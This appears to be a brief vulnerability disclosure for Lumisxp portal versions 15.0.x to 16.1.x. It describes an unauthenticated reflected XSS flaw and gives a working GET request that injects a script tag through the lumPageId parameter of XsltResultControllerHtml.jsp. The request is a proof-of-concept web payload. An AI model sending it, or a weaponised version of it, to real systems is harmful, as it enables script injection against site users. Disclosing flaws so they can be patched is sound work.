Lumisxp versions 15.0.x to 16.1.x have an unauthenticated XSS vulnerability in the XsltResultControllerHtml.jsp page, specifically in the lumPageId parameter.
Payload:
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GET request:
GET /portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=%3cscript%3econfirm(1)%3c%2fscript%3e&xslContentFilePath=
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Request Proof:
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Execute Payload:
Author: Rodolfo Tavares